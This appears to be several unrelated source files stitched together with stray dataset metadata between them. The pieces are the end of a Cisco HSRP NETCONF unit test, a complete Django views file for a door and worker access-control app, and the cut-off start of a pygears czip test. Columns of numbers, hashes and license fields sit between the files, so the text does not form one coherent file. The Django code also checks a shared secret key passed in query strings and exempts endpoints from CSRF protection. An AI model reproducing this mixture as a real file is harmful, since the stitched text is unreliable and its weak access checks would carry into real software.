<running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <ipv6>autoconfig</ipv6>\n' ' <preempt/>\n' ' <priority>110</priority>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config7(self): # Hsrp object self.hsrp1 = Hsrp() # Apply configuration key1 = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key1.version = 2 key1.group_number = 10 key1.priority = 110 key1.preempt = True key1.preempt_reload_delay = 30 # Hsrp object self.hsrp2 = Hsrp() # Apply configuration key2 = self.hsrp2.device_attr[self.dev1].interface_attr[self.intf1] key2.group_number = 20 key2.priority = 120 key2.preempt = True key2.preempt_sync_delay = 60 # Build config cfgs1 = self.hsrp1.build_config(apply=False) cfgs2 = self.hsrp2.build_config(apply=False) compare = "" for i in cfgs1['PE1']: compare+=str(i) for i in cfgs2['PE1']: compare+=str(i) # Check config built correctly self.assertMultiLineEqual(compare, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <standby-list>\n' ' <group-number>10</group-number>\n' ' <preempt/>\n' ' <priority>110</priority>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <standby-list>\n' ' <group-number>20</group-number>\n' ' <preempt/>\n' ' <priority>120</priority>\n' ' </standby-list>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) if __name__ == '__main__': unittest.main()
36.536558
90
0.401496
2,963
32,481
4.344246
0.064462
0.034804
0.021753
0.028278
0.858064
0.849829
0.840662
0.840662
0.833437
0.833437
0
0.03408
0.448939
32,481
888
91
36.577703
0.685066
0.027093
0
0.889467
0
0.036411
0.473452
0.13491
0
0
0
0
0.018205
1
0.011704
false
0.0013
0.019506
0
0.03381
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8973d1dbe060757ff0a37c9f2aae567eadd51cf7
42,924
py
Python
server/api_tables/views.py
impatrq/safe
e7ffd6a052304aceb4dd582df44032a29564f555
[ "MIT" ]
1
2021-07-13T23:01:56.000Z
2021-07-13T23:01:56.000Z
server/api_tables/views.py
impatrq/safe
e7ffd6a052304aceb4dd582df44032a29564f555
[ "MIT" ]
null
null
null
server/api_tables/views.py
impatrq/safe
e7ffd6a052304aceb4dd582df44032a29564f555
[ "MIT" ]
null
null
null
import json import os from django.http.response import HttpResponse, HttpResponseBadRequest from django.shortcuts import render, get_object_or_404 from django.http import JsonResponse, HttpResponseForbidden from django.core.exceptions import ObjectDoesNotExist from django.core.serializers import serialize from django.core.paginator import Paginator from django.core.mail import send_mail from django.template.loader import render_to_string from django.conf import settings from django.views.decorators import csrf from django.views.decorators.csrf import csrf_exempt from django.db.models import Q from datetime import date, datetime from .models import User, Logs, Worker, Door from .forms import UserForm, LogsForm, WorkerForm, DoorForm, EditWorkerForm, EditDoorForm # Create your views here. # TODO revisar si el eliminado sigue siendo logico o no y ver si cambiar el is_active en el update #Tods los comentarios hechos en la parte de USERS son similares en las demas partes # USERS def read_users(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: response = dict() users_list = User.objects.all().order_by('-id') # users_list = User.objects.filter(is_active=True) paginator = Paginator(users_list, 1) page = paginator.page(request.GET.get('page', 1)) if page.has_next(): response['next_page'] = page.next_page_number() if page.has_previous(): response['prev_page'] = page.previous_page_number() response['results'] = serialize('json', page.object_list) response['num_pages'] = paginator.num_pages response['cur_page'] = page.number response['media_path'] = settings.CURRENT_HOST + '/media/' return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': response }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() @csrf_exempt def create_users(request): if request.method == 'POST': #Se fija si se le hizo un POST a la URL correspondiente a esta vista if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): #Busca si ya existe un usuario creado con el mismo username, email o telefono. #Y devulve True si existe y False si no existe user_exists = User.objects.filter( Q(username=request.POST["username"]) | Q(email=request.POST["email"]) | Q(phone_number=request.POST["phone_number"]) ).exists() if not user_exists: #Se fija si el usuario no existe form = UserForm(request.POST) #Crea un formulario con la informacion del usuario que se quiere crear if form.is_valid(): #Se fija si el formulario es valido user = form.save() #Si es valido guarda el formulario con la infromacion enviada user.set_password(request.POST['password']) #Se establece la contraseña que se indico al crear el usuario user.save() #Se guarda el usuario con su contraseña return JsonResponse({ #Envia la informacion en formato JSON de que se registro el usuario 'error_message': None, 'success_message': 'Succesfully registered.' }) else: return JsonResponse({ #Envia la informacion en formato JSON de que el formulario no es valido 'error_message': f'Form is not valid.', 'success_message': None }) else: return JsonResponse({ #Envia la informacion en formato JSON de que ya existe un usuario con esos datos 'error_message': 'User with some of those credentials already exists.', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def update_users(request, id): if request.method == 'POST': #Se fija si se le hizo un POST a la URL correspondiente a esta vista if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: user = User.objects.get(pk=id) #Se intenta obtener algun usuario que coincida con el id que se envio por la URL. pk es otra forma de referirse al id form = UserForm(request.POST, instance=user) #Crea un formulario con la informacion del usuario que se desea actualizar. El instance=user indica que es una instancia asi que no intenta crear otro usuario con una informacion parecida if form.is_valid(): #Se fija si el formulario es valido form.save() #Si es valido guarda el formulario con la infromacion enviada return JsonResponse({ #Envia la informacion en formato JSON de que se actualizo el usuario 'error_message': None, 'success_message': 'Succesfully updated.' }) else: return JsonResponse({ #Envia la informacion en formato JSON de que el formulario no es valido 'error_message': f'Form is not valid. {form.errors}', 'success_message': None }) except ObjectDoesNotExist: return JsonResponse({ #Envia la informacion en formato JSON de que no existe un usuario con esa ip 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ #Envia la informacion en formato JSON de que hubo un error 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def delete_users(request, id): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: user = User.objects.get(pk=id) #Se intenta obtener algun usuario que coincida con el id que se envio por la URL # user.is_active = False #Si obtiene algun usuario que coincida cambia el estado de actividad como False (eliminado logico) # user.save() #Guarda el usuario con el estado de actividad cambiado user.delete() return JsonResponse({ #Envia la informacion en formato JSON de que se elimino el usuario exitosamente 'error_message': None, 'success_message': 'Succesfully deleted.' }) except ObjectDoesNotExist: return JsonResponse({ #Envia la informacion en formato JSON de que no existe un objeto con esa id 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ #Envia la informacion en formato JSON de que hubo un error al intentar elimar 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() # LOGS def read_logs(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: response = dict() logs_list = Logs.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') paginator = Paginator(logs_list, 5) page = paginator.page(request.GET.get('page', 1)) if page.has_next(): response['next_page'] = page.next_page_number() if page.has_previous(): response['prev_page'] = page.previous_page_number() response['results'] = json.dumps(serialize_logs(page.object_list)) response['num_pages'] = paginator.num_pages response['media_path'] = settings.CURRENT_HOST + '/media/' response['cur_page'] = page.number return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': response }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() @csrf_exempt def create_logs(request): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): form = LogsForm(request.POST, request.FILES) if form.is_valid(): log = form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully registered.' }) else: return JsonResponse({ 'error_message': f'Form is not valid. {form.errors}', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def update_logs(request, id): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: log = Logs.objects.get(pk=id, user_id=request.POST.get('user_id')) form = LogsForm(request.POST, request.FILES, instance=log) if form.is_valid(): form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully updated.' }) else: return JsonResponse({ 'error_message': f'Form is not valid. {form.errors}', 'success_message': None }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def delete_logs(request, id): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: log = Logs.objects.get(pk=id, user_id=request.POST.get('user_id')) # log.is_active = False # log.save() log.delete() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully deleted.' }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() def search_logs(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): first_word = request.GET.get('first_word', '###') second_word = request.GET.get('second_word', '###') from_search_date = request.GET.get('from_search_date') from_search_time = request.GET.get('from_search_time') to_search_date = request.GET.get('to_search_date') to_search_time = request.GET.get('to_search_time') if(first_word != "###" or second_word != "###"): if(from_search_date and to_search_date): if(from_search_time and to_search_time): # * Search with search bar, dates and times if(from_search_date != 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} {from_search_time}:00', "%Y-%m-%d %H:%M:%S")) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} {to_search_time}:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') elif(from_search_date != 'null' and to_search_date == 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} {from_search_time}:00', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') elif(from_search_date == 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} {to_search_time}:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': { 'results': json.dumps(serialize_logs(object_list)), 'media_path': settings.CURRENT_HOST + '/media/' } }) else: # * Search with search bar and dates if(from_search_date != 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} 00:00:00', "%Y-%m-%d %H:%M:%S")) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} 23:59:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') elif(from_search_date != 'null' and to_search_date == 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} 00:00:00', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') elif(from_search_date == 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} 23:59:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': { 'results': json.dumps(serialize_logs(object_list)), 'media_path': settings.CURRENT_HOST + '/media/' } }) else: # * Search with bar object_list = Logs.objects.filter( ( Q(worker_id__first_name__icontains=first_word) | Q(worker_id__first_name__icontains=second_word) | Q(worker_id__last_name__icontains=first_word) | Q(worker_id__last_name__icontains=second_word) ) & Q(user_id=request.GET.get('user_id')) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': { 'results': json.dumps(serialize_logs(object_list)), 'media_path': settings.CURRENT_HOST + '/media/' } }) else: if(from_search_date and to_search_date): if(from_search_time and to_search_time): # * Search with dates and times if(from_search_date != 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} {from_search_time}:00', "%Y-%m-%d %H:%M:%S")) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} {to_search_time}:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') elif(from_search_date != 'null' and to_search_date == 'null'): object_list = Logs.objects.filter( ( Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} {from_search_time}:00', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') elif(from_search_date == 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} {to_search_time}:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': { 'results': json.dumps(serialize_logs(object_list)), 'media_path': settings.CURRENT_HOST + '/media/' } }) else: # * Search with dates if(from_search_date != 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} 00:00:00', "%Y-%m-%d %H:%M:%S")) & Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} 23:59:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') elif(from_search_date != 'null' and to_search_date == 'null'): object_list = Logs.objects.filter( ( Q(entry_datetime__gte=datetime.strptime(f'{from_search_date} 00:00:00', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') elif(from_search_date == 'null' and to_search_date != 'null'): object_list = Logs.objects.filter( ( Q(exit_datetime__lte=datetime.strptime(f'{to_search_date} 23:59:59', "%Y-%m-%d %H:%M:%S")) & Q(user_id=request.GET.get('user_id')) ) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': { 'results': json.dumps(serialize_logs(object_list)), 'media_path': settings.CURRENT_HOST + '/media/' } }) else: return HttpResponseForbidden() def serialize_logs(object_list): custom_object_list = [] for log in object_list: if not log.exit_datetime: log.exit_datetime = '-' custom_object_list.append({ 'worker_image': log.worker_image.url, 'worker_profile_image': settings.CURRENT_HOST + log.worker_id.worker_image.url, 'worker_full_name': f'{log.worker_id.first_name} {log.worker_id.last_name}', 'worker_email': log.worker_id.email, 'worker_address': log.worker_id.address, 'worker_phone_number': log.worker_id.phone_number, 'door_name': f'{log.door_id.sector_name} - {log.door_id.door_name}', 'facemask': log.facemask, 'temperature': log.temperature, 'authorized': log.authorized, 'entry_datetime': str(log.entry_datetime), 'exit_datetime': str(log.exit_datetime), }) return custom_object_list # DOORS def read_all_doors(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: doors_list = Door.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': serialize('json', doors_list) }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() def read_doors(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: response = dict() doors_list = Door.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') paginator = Paginator(doors_list, 5) page = paginator.page(request.GET.get('page', 1)) if page.has_next(): response['next_page'] = page.next_page_number() if page.has_previous(): response['prev_page'] = page.previous_page_number() response['results'] = serialize('json', page.object_list) response['num_pages'] = paginator.num_pages response['cur_page'] = page.number response['media_path'] = settings.CURRENT_HOST + '/media/' return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': response }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() @csrf_exempt def create_doors(request): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): door_exists = Door.objects.filter(mac=request.POST['mac'], user_id=request.POST.get('user_id')).exists() if not door_exists: form = DoorForm(request.POST) if form.is_valid(): door = form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully registered.', }) else: return JsonResponse({ 'error_message': f'Form is not valid.', 'success_message': None }) else: return JsonResponse({ 'error_message': 'Door with that MAC already exists.', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def update_doors(request, id): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: door = Door.objects.get(pk=id, user_id=request.POST.get('user_id')) form = EditDoorForm(request.POST, instance=door) if form.is_valid(): form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully updated.' }) else: return JsonResponse({ 'error_message': f'Form is not valid. {form.errors}', 'success_message': None }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() else: if request.GET.get('sk') == os.environ.get('SECRET_KEY'): door = Door.objects.get(pk=id) return JsonResponse({ 'error_message': None, 'success_message': 'Edit Form Fetched Successfully', 'data': render_to_string('forms/partial-door-edit-form.html', {'form': EditDoorForm(instance=door), 'sk': os.environ.get('SECRET_KEY'), 'id': id}) }) else: return HttpResponseForbidden() @csrf_exempt def delete_doors(request, id): if request.method == 'POST': SECRET_KEY = json.loads(request.body.decode('utf-8'))['SECRET_KEY'] if SECRET_KEY and SECRET_KEY == os.environ.get('SECRET_KEY'): try: door = Door.objects.get(pk=id, user_id=json.loads(request.body.decode('utf-8'))['user_id']) # door.is_active = False # door.save() door.delete() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully deleted.' }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() def search_doors(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): first_word = request.GET.get('first_word', '###') second_word = request.GET.get('second_word', '###') user_id = request.GET.get('user_id') doors_list = Door.objects.filter( ( Q(sector_name__icontains=first_word) | Q(sector_name__icontains=second_word) | Q(door_name__icontains=first_word) | Q(door_name__icontains=second_word) ) & Q(user_id=user_id) ).order_by('-id') response = dict() for door in doors_list: response[f'{door.id}'] = { 'door_name': f"{door.sector_name} - {door.door_name}", 'is_opened': door.is_opened, 'sanitizer_perc': door.sanitizer_perc, 'last_logs': get_logs(request, door, 5), 'logs': get_logs(request, door), 'people_inside': serialize('json', door.people_inside.all()), 'is_safe': door.is_safe, } return JsonResponse({ 'error_message': None, 'success_message': 'Fetched successfully', 'data': { 'results': serialize('json', doors_list), 'complete_results': json.dumps(response), } }) else: return HttpResponseForbidden() # WORKERS def read_all_workers(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: workers_list = Worker.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': serialize('json', workers_list) }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() def read_workers(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): try: response = dict() workers_list = Worker.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') paginator = Paginator(workers_list, 5) page = paginator.page(request.GET.get('page', 1)) if page.has_next(): response['next_page'] = page.next_page_number() if page.has_previous(): response['prev_page'] = page.previous_page_number() response['results'] = serialize('json', page.object_list) response['num_pages'] = paginator.num_pages response['cur_page'] = page.number response['media_path'] = settings.CURRENT_HOST + '/media/' return JsonResponse({ 'error_message': None, 'success_message': 'Successfully fetched.', 'data': response }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None, }) else: return HttpResponseForbidden() @csrf_exempt def create_workers(request): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): worker_exists = Worker.objects.filter( ( Q(email=request.POST['email']) | Q(phone_number=request.POST['phone_number']) | Q(card_code=request.POST['card_code']) ) & Q(user_id=request.POST.get('user_id')) ).exists() if not worker_exists: form = WorkerForm(request.POST, request.FILES) if form.is_valid(): worker = form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully registered.', }) else: return JsonResponse({ 'error_message': f'Form is not valid.', 'success_message': None }) else: return JsonResponse({ 'error_message': 'Worker with some of those credentials already exists.', 'success_message': None }) else: return HttpResponseForbidden() @csrf_exempt def update_workers(request, id): if request.method == 'POST': if request.POST.get('SECRET_KEY') and request.POST['SECRET_KEY'] == os.environ.get('SECRET_KEY'): try: worker = Worker.objects.get(pk=id, user_id=request.POST.get('user_id')) form = EditWorkerForm(request.POST, request.FILES, instance=worker) if form.is_valid(): form.save() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully updated.' }) else: return JsonResponse({ 'error_message': f'Form is not valid. {form.errors}', 'success_message': None }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() else: if request.GET.get('sk') == os.environ.get('SECRET_KEY'): worker = Worker.objects.get(pk=id, user_id=request.GET.get('user_id')) return JsonResponse({ 'error_message': None, 'success_message': 'Edit Form Fetched Successfully', 'data': render_to_string('forms/partial-worker-edit-form.html', {'form': EditWorkerForm(instance=worker), 'sk': os.environ.get('SECRET_KEY'), 'id': id}) }) else: return HttpResponseForbidden() @csrf_exempt def delete_workers(request, id): if request.method == 'POST': SECRET_KEY = json.loads(request.body.decode('utf-8'))['SECRET_KEY'] if SECRET_KEY and SECRET_KEY == os.environ.get('SECRET_KEY'): try: worker = Worker.objects.get(pk=id, user_id=json.loads(request.body.decode('utf-8'))['user_id']) # worker.is_active = False # worker.save() worker.delete() return JsonResponse({ 'error_message': None, 'success_message': 'Succesfully deleted.' }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': f'Object with id {id} does not exist.', 'success_message': None }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None }) else: return HttpResponseForbidden() def search_workers(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): first_word = request.GET.get('first_word', '###') second_word = request.GET.get('second_word', '###') user_id = request.GET.get('user_id') workers_list = Worker.objects.filter( ( Q(first_name__icontains=first_word) | Q(last_name__icontains=first_word) | Q(card_code__icontains=first_word) | Q(first_name__icontains=second_word) | Q(last_name__icontains=second_word) | Q(card_code__icontains=second_word) ) & Q(user_id=user_id) ).order_by('-id') return JsonResponse({ 'error_message': None, 'success_message': 'Fetched successfully', 'data': { 'results': serialize('json', workers_list), 'media_path': settings.CURRENT_HOST + '/media/', } }) else: return HttpResponseForbidden() def search_worker_by_card(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): user_id = request.GET.get('user_id') card_code = request.GET.get('card_code', '###') try: worker = Worker.objects.get(card_code = card_code, user_id = user_id) return JsonResponse({ 'error_message': None, 'success_message': 'Fetched successfully', 'data': serialize('json', [worker,]) }) except ObjectDoesNotExist: return JsonResponse({ 'error_message': 'No worker found with that card.', 'success_message': None, 'data': None }) else: return HttpResponseForbidden() # * EXTRA FUNCTIONS def check_time(datetime): if datetime: return datetime.strftime("%m/%d/%Y, %H:%M:%S") else: return '-' def get_logs(request, door, amount = None): logs = Logs.objects.filter(door_id=door, user_id=request.GET.get('user_id')).order_by('-id') log_list = [] for log in logs: log_list.append({ 'worker_image': settings.CURRENT_HOST + log.worker_image.url, 'worker_profile_image': settings.CURRENT_HOST + log.worker_id.worker_image.url, 'worker_full_name': f'{log.worker_id.first_name} {log.worker_id.last_name}', 'worker_email': log.worker_id.email, 'worker_address': log.worker_id.address, 'worker_phone_number': log.worker_id.phone_number, 'entry_datetime': check_time(log.entry_datetime), 'exit_datetime': check_time(log.exit_datetime), 'authorized': log.authorized, 'facemask': log.facemask, 'temperature': log.temperature, 'sector_name': door.sector_name, 'door_name': door.door_name, }) if amount is not None: log_list = log_list[:amount] return json.dumps(log_list) def get_doors_info(request): if request.GET.get('sk') == os.environ.get('SECRET_KEY'): doors = Door.objects.filter(user_id=request.GET.get('user_id')).order_by('-id') response = dict() for door in doors: response[f'{door.id}'] = { 'door_name': f"{door.sector_name} - {door.door_name}", 'is_opened': door.is_opened, 'sanitizer_perc': door.sanitizer_perc, 'last_logs': get_logs(request, door, 5), 'logs': get_logs(request, door), 'people_inside': serialize('json', door.people_inside.all()), 'is_safe': door.is_safe, } return JsonResponse({ 'error_message': None, 'success_message': 'Doors Status Fetched Successfully', 'data': json.dumps(response) }) else: return HttpResponseForbidden() @csrf_exempt def report(request): if request.method == 'POST': try: sender = settings.EMAIL_HOST_USER body = json.loads(request.body.decode('utf-8')) send_mail(body['kor'], body['message'], sender, [os.environ.get('EMAIL_HOST_USER')]) return JsonResponse({ 'error_message': None, 'success_message': 'Email Sent Successfully.' }) except Exception as e: return JsonResponse({ 'error_message': f'Error: {e}', 'success_message': None })
44.297214
301
0.507618
4,313
42,924
4.817297
0.071644
0.020215
0.060885
0.079415
0.83809
0.816191
0.791548
0.782452
0.77812
0.775858
0
0.00311
0.385821
42,924
969
302
44.297214
0.785002
0.061644
0
0.757233
0
0
0.165154
0.007507
0
0
0
0.001032
0
1
0.033962
false
0.001258
0.021384
0
0.173585
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
983244b8021ef70f4dd688f787c2a35270134a8e
2,979
py
Python
tests/lib/test_czip.py
bogdanvuk/pygears
a0b21d445e1d5c89ad66751447b8253536b835ee
[ "MIT" ]
120
2018-04-23T08:29:04.000Z
2022-03-30T14:41:52.000Z
tests/lib/test_czip.py
FZP1607152286/pygears
a0b21d445e1d5c89ad66751447b8253536b835ee
[ "MIT" ]
12
2019-07-09T17:12:58.000Z
2022-03-18T09:05:10.000Z
tests/lib/test_czip.py
FZP1607152286/pygears
a0b21d445e1d5c89ad66751447b8253536b835ee
[ "MIT" ]
12
2019-05-10T19:42:08.000Z
2022-03-28T18:26:44.000Z
import pytest from pygears import Intf from pygears.typing import Queue, Tuple, Uint from pygears.lib import czip, zip_sync from pygears.sim import sim from pygears.lib.delay import delay_rng from pygears.lib.verif import drv, verif def test_general(): iout = czip(Intf(Uint[1]), Intf(Queue[Uint[2], 1]), Intf(Queue[Uint[3], 3]), Intf(Queue[Uint[4], 5])) assert iout.dtype == Queue[Tuple[Uint[1], Uint[2], Uint[3], Uint[4]], 5] @pytest.mark.parametrize('din_delay', [0, 5]) @pytest.mark.parametrize('dout_delay', [0, 5]) def test_cosim_one_queue(cosim_cls, din_delay, dout_delay): verif(drv(t=Uint[8], seq=list(range(10))) | delay_rng(din_delay, din_delay), drv(t=Queue[Uint[8]], seq=[list(range(10))]) | delay_rng(din_delay, din_delay), f=czip(sim_cls=cosim_cls), ref=czip(name='ref_model'), delays=[delay_rng(dout_delay, dout_delay)]) sim() @pytest.mark.parametrize('din_delay', [0, 5]) @pytest.mark.parametrize('dout_delay', [0, 5]) def test_cosim_both_queue(cosim_cls, din_delay, dout_delay): verif(drv(t=Queue[Uint[8]], seq=[list(range(10))]) | delay_rng(din_delay, din_delay), drv(t=Queue[Uint[8]], seq=[list(range(10))]) | delay_rng(din_delay, din_delay), 